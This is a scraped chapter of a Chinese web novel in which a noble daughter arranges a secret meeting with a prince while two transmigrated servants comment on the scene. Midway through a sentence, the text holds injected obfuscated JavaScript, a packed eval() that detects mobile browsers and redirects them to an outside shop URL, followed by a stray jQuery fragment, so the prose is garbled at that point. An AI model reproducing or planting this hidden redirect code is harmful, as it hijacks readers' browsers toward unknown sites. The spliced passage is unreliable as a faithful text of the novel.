一群人很快就离开了水榭。
这繁杂的戏台瞬时间被清空,看戏的人没了,梁有道才卸下气来,瘫坐在一边,不知在神游什么。
吴姨娘瞅了瞅自己的夫君,又瞧了瞧自己那还没有缓过神的女儿们,最终还是自己先爬了起来,然后去搀扶梁有道。
但就在她手碰上的一刹那,梁有道像是突然回了神一般,猛伸出手,将她的手攥住。
吴姨娘被这突如其来的动作惊得一个晃神,又跌坐了下来。
她的手被攥的紧紧的,有些吃痛,只得不解地轻声唤了句:“老爷…”
“那晚。”梁有道转过头来,直直地盯着吴姨娘的眼睛,问道:“你找人害五丫头清白的那晚,她到底在不在伎馆?”
这话让吴莲心惊出了一身冷汗,她连忙反驳道:“老爷!你在说什么啊?我什么时候…”
“你干了什么你自己心里清楚!”梁有道厉声打断,他猛拽了一下吴姨娘的胳膊,使她一下子重心不稳趴在了他面前。
胳膊肘着地的瞬间,吴姨娘因痛,眼里一下就涌出了泪水。
梁有道吸了口气,然后靠近道:“我只问,她那天到底跟不跟北宁王在一个伎馆?”
这阴沉沉的语气一下给吴姨娘吓懵了,她忍着痛,但看着梁有道那冰冷的表情,眼泪还是不自觉滑了出来,她不确定那晚她的计划梁有道到底知道多少,于是吞吞吐吐道:“卢嬷嬷确定,看着五小姐进了伎馆,但确实没有机会拉开床帐,看到真人…”
闻此,梁有道若有所思地放开了手。
吴莲心吓懵了,也就瘫坐在那里,不敢动弹。
半响,梁有道伸出了手。
吴姨娘见状,连忙爬起来搀扶。
梁有道起身后,微微整理了下衣衫,又恢复了往日的那副面貌。
他拉起了吴姨娘的手,语重心长道:“女儿们大了,该带出去相看就赶紧相看,五丫头,你也得多费心。”
说完这句,轻轻拍了下,便撒开手,拂袖而去。
而另一头,出了主厅,衍星便看到了廊下角落的,怀中鼓鼓囊囊,见她们一行人出来,还下意识地向前探了探身子。
梁婉君显然也看到人了,她面上并无波澜,只是微微侧目,打量着李同德当下的脸色,却没有出声。
衍星知,她在犹豫,犹豫今晚被李同德看到了如此不堪的一幕后,还是否合适和李同德聊合作。
衍星的的目光也追了过去,只见李同德眉头舒展,嘴角还是那混不吝的弧度,看不出什么情绪。
她思量一二,还是向前两步,出声道了句:“小姐,文心姐姐将东西带来了。”
声音是刻意压低的,装作一副是在和梁婉君讲悄悄话的模样,但音量又控制得恰好能让只离梁婉君两步之遥的李同德听到。
李同德停下脚步,嘴角噙着笑,投来了询问的目光。
梁婉君面上一僵,显然是没料到这般变故。
但她的眼神很快又从无措与茫然转为了坚毅与冷静。
只见她稍稍整理了一下表情和思绪,然后,向着李同德浅行了个礼,道:“王爷可否稍候片刻,小女有礼,想奉与王爷。”
李同德挑眉,似乎有些意外。
可不意外?虽然他今日就是为了与梁婉君谈后续合作才来的梁府,但对方并不知他的意图啊。却能让婢女适时地送来东西,想必在听到他来时,便已准备主动出手了。
上次的投名状,李同德尚未给出反应,她便敢开始谋划下一步的合作,胆识倒是过人。
且…
方才的事,对于一个闺阁千金来讲,确实是过于侮辱了,她竟能如此快速地调理好情绪,将注意转回生意。
这让李同德不禁感叹了一句:“梁五小姐,还真是宠辱不惊啊。”
“王爷过奖。”梁婉君微微颔首,待她再抬起头时,目光却明显停滞了片刻。
衍星的目光也恰好因异动盯向了那个方向。
李同德背后十米左右的树丛,在无风的情况下,十分突兀地动了动。
她又扫了一圈。
好家伙,四个盯梢的。
衍星是真无语了,至于对自己女儿警惕心如此重吗?
她不禁将眼神又投向了梁婉君。
只见少女的脸上挂上了丝微不可查地讥讽笑意,随之,释然般淡淡道了句:“在梁府,受宠和受辱,本来也无甚区别。”
闻此,李同德身形一僵,衣袖下,食指不自觉地扣了下扳指。
但他很快反应过来,这只是梁婉君在自嘲,是他反应太过了。
看着少女已经木然的脸,李同德心中又突然泛出那同病相怜的酸涩感。
但他没有多言,只浅浅点了点头道:“本王等你的礼。”
于是梁婉君行了个礼,道了句:“王爷稍候。”便飞速转身,向文心的方向走去。
衍星作为婢女,也赶紧跟了过去。
于是只剩云逸跟李同德待在了原地。
云逸看了看梁婉君一行人的背影,又看了看李同德那没事人的姿态。
他思考了片刻,还是挪动着他一瘸一拐的腿,到李同德的身边,小心道:“若是王爷在意梁五小姐,小的有些话,不知王爷可愿听?”
李同德撇了一眼云逸,怼道:“腿瘸了眼也瞎了?哪只出气用的眼睛看出来本王在意了?”
云逸沉默,也是,他是有点僭越了,于是打算退回去。
“等等。”还不等云逸迈开腿,李同德又出声道:“讲。”
啧,这是傲娇?
云逸心中暗笑,但看着梁婉君那边的动作,也是没敢耽误时间,他赶紧组织了下语言,道:“小人从前的鞋都是特制的,一高一矮,穿上后再小心点,便不会让人瞧出来残腿。因为先前找工时,要不然会被这残腿拖累,人家不肯用,或是心善的东家可怜我个瘸子,施舍一份工给我。但是,不管我腿瘸或不瘸,都与我的学识无关。”
李同德拧眉,不耐烦三个字几乎写满了他的脸,似乎云逸再不说重点,下一秒他就要骂出声来。
于是云逸赶紧接着道:“王爷,这个梁府,正是梁五小姐小姐拼命想藏起的残腿啊…”
李同德沉默,他本不该向这样一个小师爷解释,但他还是忍不住说:“本王,自不会以这些东西来论人长短。”
“可王爷亲手把人裤腿撩起来了啊。”云逸立刻应道。
一下子,竟让李同德回不了话。
见其面色不妙,另一侧,梁婉君也似乎已经整理好了东西,正欲往回走。云逸赶忙解释道:“小人想说的是,梁五小姐之坚毅,已远超常人,但只要是有血有肉的活人,被揭了短处都是会不痛快的,能不记恨已是宽宏大量,王爷若真想与梁五小姐深交,不妨等会儿宽慰一二。”
话毕,梁婉君走到了身前。
李同德干咳了一声,手不自觉地整理了一下衣衫。
云逸也利落地后撤几步,站到了也刚一同回来的衍星身侧,给二人腾出空间来。
衍星伸头过来道:“聊什么了?”
“就交代了我两句杂事。”云逸答道。
衍星也没有再过多追问,她现在的注意力都在男女主身上。
只见梁婉君从怀中掏出了方才精心挑选的几张纸。
上面的内容衍星扫了一眼,没看很真切,大概是几份信件。
李同德半信半疑地将那些信件接过,然后翻阅了起来。他看得速度很快,不过片刻,便将其全部阅读完。
他抬眼看向梁婉君,表情十分古怪,明明皱着眉头眯着眼,却是在笑。
透着些难以置信,更多的还是惊喜,但似乎是一种无奈的惊喜。
李同德组织了许久语言,终于开口问道:“你是想…?”
“想知道王爷可爱吃南方糕点?”梁婉君却兀的打断。
她的眼睛眨了眨,头没动,用眼神将周围扫了一圈。
衍星知道她这是在提醒,隔墙有耳。
李同德反应也很快,视线跟着她转了一圈,很快也发现了那些盯梢的人。
只见其和衍星的反应一样,先是无语,随后还是调整了表情,笑着答道:“还算喜欢。”
梁婉君伸手比了个“请”的动作。
李同德自然地将那些信件收进了怀中,跟上梁婉君的脚步,两人便又边走边聊了起来。
“我姨母家开得有个糕点店,王爷若爱吃,我明日让人送些去。”梁婉君微笑着,似不经意闲聊道。
“这是要找机会传信息啊?”云逸凑到衍星的耳边道。
不等衍星回答。
“不必麻烦了。”李同德却回绝了。
云逸两眼一黑,吐槽道:“他又要干啥?没听出来这是要接头吗?这还客气上了?”
又不等衍星回答。
李同德话锋一转道:“五小姐姨母的店,本王要亲自登门挑选!”
“接头哪有面谈香啊?”这回衍星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684259|207775||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
学聪明了,不等云逸再开口,她便直接说道。
视线移回梁婉君,只见其却摆出了一副难以置信的模样,吞吞吐吐了句:“这…”
“面谈也不合适啊?这孤男寡女的,那边梁有道的人还听着呢。”云逸反驳。
梁婉君眼珠子左转转,右转转,似乎正如云逸顾虑的那般,犹豫极了。
可不等云逸进一步分析,便一副老实人豁出去了的架势,应道:“既然如此,小女若是不作陪,实在是有失礼术了。”
云逸:“…”
云逸:“我发现这女主特爱跟我反着来。”
“那是你格局小了。”衍星回道,“听听这语言的艺术,待客,不也是礼数?”
不出意外,李同德立刻便高高兴兴应了下来。
梁婉君进而确定时间地点——明日未时正,在椿记总店,杜芸娘与她会闭店相迎。
……
见此,云逸不禁感叹:“就这么水灵灵约上了?”
“你不乐意?”衍星翻白眼道。
“不是。”云逸表情有些疑惑,他组织了下语言,道:“来之前,我记得男主是不想让梁有道知道他是来找梁婉君的,那此刻为何不装不熟了?”他顿了顿,“还有,他俩这么直接约,时间地点都被人知道了,不怕他们使坏阻拦吗?”
闻此,衍星不禁感慨,这小仙使,那么广博的学识,怎么一碰到这些弯弯绕绕的问题,脑子就不大灵光呢?
她解释道:“第一,你细想想,他俩方才那一唱一和的对话像啥?”
云逸更疑惑了,道:“像啥?不就是俩人约时间见面?”
“像打情骂俏。”衍星直接给出了答案。
就方才那对话,只要没听过这俩人在伎馆房内的对话,不知道梁婉君背后的生意,不了解她的野心,没人会将这俩人的对话理解为密谋大计。
“李同德不愿暴露的是你之前分析的那什么商路,而不是他青眼于某位官员家的千金。”衍星总结。
见云逸面上露出些许了然,她又继续道:“至于你第二个问题,这就是个阳谋了。”
梁府中人肯定是不愿二人见面的,但这次他们还真不能拦,或者说不敢拦。
这也是北宁王方才那把火添得好。
本来梁婉君只是想送糕点传递信息,可李同德却直接提出去店里。
堂堂北宁王,想吃个糕点何需亲自去店里买?这是得多抬举?
这让人还怎么敢动梁婉君?更别提阻挠此次会面?
当然,是有可能李同德只是心血来潮,但这群鼠辈敢赌吗?
就这么两两闲聊着,一行人很快就走出了梁府的大门。
梁婉君恭恭敬敬地朝着李同德再次行了个礼,道:“那明日,便恭迎王爷大驾了。”
李同德看着梁婉君进退有度落落大方的模样,不知道是不是鬼迷心窍,脑子里全是片刻前李匀那个傻瘸子不知高低轻重的劝戒。
“梁府,正是梁五小姐小姐拼命想藏起的残腿…”
“可王爷亲手把人裤腿撩起来了啊…”
“被揭了短处都是会不痛快的…”
“王爷若真想与梁五小姐深交,不妨等会宽慰一二…”
这些烦杂的念头,直至他坐上马车,都仍未曾消散。
他透过车窗往外看,梁婉君掌着灯,恭恭敬敬地立在门前,目送北宁王上马车离开。
但李同德示意出发时却犹豫了,片刻后,他还是起身,跳下了马车,又走到了梁婉君面前。
梁婉君明丽的脸上展露出一丝不解。
李同德的视线穿过梁婉君,定焦在了她身后,梁府院落中大片大片的竹子上,他抿了抿嘴,终是对着梁婉君道:“竹子极其霸道,给点水分就能活,若是泥土之上的竹子郁郁葱葱,那其下根茎必然盘根错节。
“其中弯绕杂乱,不足与外人道,却支撑着竹子,每一年都能继续发出新笋,节节高升…”
李同德顿了顿,终于,他道:“这般顽强奋进,本王万分欣赏。”
梁婉君明显是被说愣住了,脸上完美的表情,也崩出了一丝无措。
这反应,也让李同德也不知如何是好,只得维持住自己最后一丝云淡风轻的微笑,然后赶紧上了马车。
真是,莫不是被李匀那瘸子下降头了?
他最好是有用!
李同德被一股莫须有的羞耻感紧紧环绕,直至马车启动,他都没敢打开车窗看一眼梁婉君的表情。